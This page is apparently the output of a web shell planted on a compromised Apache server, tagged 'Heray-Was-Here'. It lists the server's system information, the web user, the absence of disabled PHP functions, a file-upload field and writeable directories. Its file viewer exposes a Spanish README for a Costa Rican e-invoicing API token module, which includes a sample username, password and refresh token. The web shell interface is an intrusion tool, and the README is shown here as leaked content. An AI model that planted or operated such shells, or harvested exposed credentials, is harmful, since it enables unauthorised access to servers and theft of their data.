Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/facapi44/API_Hacienda/api/contrib/token/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/facapi44/API_Hacienda/api/contrib/token/README.md
# Modulo para solicitar token y refrescar los token

## Obtener un token nuevo
Se debe enviar:
* `w` : token
* `r` : gettoken
* `url`: donde se pide el TOken
* `grant_type`: password
* `client_id`: en blanco
* `client_secret`:en blanco
* `username`: usuario en contribuyende
* `password`: contraseña del contribuyente

### Ejemplo en GET: 
[api.php](http://api-demo.crlibre.org/api.php) seria la URL donde se ubique el API. Tambien se puede hacer en POST

```bash
http://api-demo.crlibre.org/api.php?r=gettoken&w=token&url=https://idp.comprobanteselectronicos.go.cr/auth/realms/rut-stag/protocol/openid-connect/token&grant_type=password&client_id=api-stag&username=cpf-07-0232-0717@stag.comprobanteselectronicos.go.cr&password=N%26%404%2Bp%5BH-e%5B%2B%23%24DcOP%409
``` 

## Refrescar token
* `w` : token
* `r` : refresh
* `url` =
* `grant_type`:refresh_token
* `client_id`:api-stag
* `client_secret`:
* `refresh_token`:Token de refrestar

### Ejemplo de ejecucion:

[api.php](http://api-demo.crlibre.org/api.php) seria la URL donde se ubique el API en este caso usamos un servidor de pruebas. Tambien se puede hacer por POST

```bash
http://api-demo.crlibre.org/api.php?r=refresh&w=token&url=https://idp.comprobanteselectronicos.go.cr/auth/realms/rut-stag/protocol/openid-connect/token&grant_type=refresh_token&client_id=api-stag&refresh_token=eyJhbGciOiJSUzI1NiJ9.eyJqdGkiOiIwNGEwODEzZC0zYzUyLTQ4MzUtOTQwNS1kNzY0ZmMzODY0MWYiLCJleHAiOjE1MTcxOTM4MDUsIm5iZiI6MCwiaWF0IjoxNTE3MTkyMDA1LCJpc3MiOiJodHRwczovL2lkcC5jb21wcm9iYW50ZXNlbGVjdHJvbmljb3MuZ28uY3IvYXV0aC9yZWFsbXMvcnV0LXN0YWciLCJhdWQiOiJhcGktc3RhZyIsInN1YiI6IjEzZjRjMzEzLTFmN2EtNDY5ZS1iM2RkLTRlMjA3ODQ2OGE5MiIsInR5cCI6IlJlZnJlc2giLCJhenAiOiJhcGktc3RhZyIsInNlc3Npb25fc3RhdGUiOiIyMjMyNTNmYi04OTQwLTRjNDEtYTFiNS1iOGMyOGNjODYxZGUiLCJjbGllbnRfc2Vzc2lvbiI6Ijc2N2VhYmIwLWYxMDctNGZiZi05NGNkLWU2NmVhNWFkY2U1OCIsInJlc291cmNlX2FjY2VzcyI6eyJhY2NvdW50Ijp7InJvbGVzIjpbIm1hbmFnZS1hY2NvdW50Iiwidmlldy1wcm9maWxlIl19fX0.gG06dimDzUipEJuIT3AOIDfHbJkcTRNTbOe8jZPxxM6XnlbCUde-Q45p1L59KDSKHcTozpzdRu59MTUN9qG6158uUhTKOjMoCEpYZ8D9QN475h5Sg8X6vc8W3RGfj1tKnlcWrfAdvC_ZXkkW2bEyjyQJlWE5OydsPAzLF5ZBaLf3nRVw29OpxWseO5Ic1NHy5DSjZIPpvdxbp_vm81lMxYdYj7-b9O_PGHzMzCooXFoY61j278pspZDTBN8DSvYmAonvvNkPpWUxP9G103D4i_fyPDoUWW-xjj32Y11-ctGIZ3teMDFoGSQwwkJV2s-VqzH9l6mAGGdaMFpofekw6A
```

Hry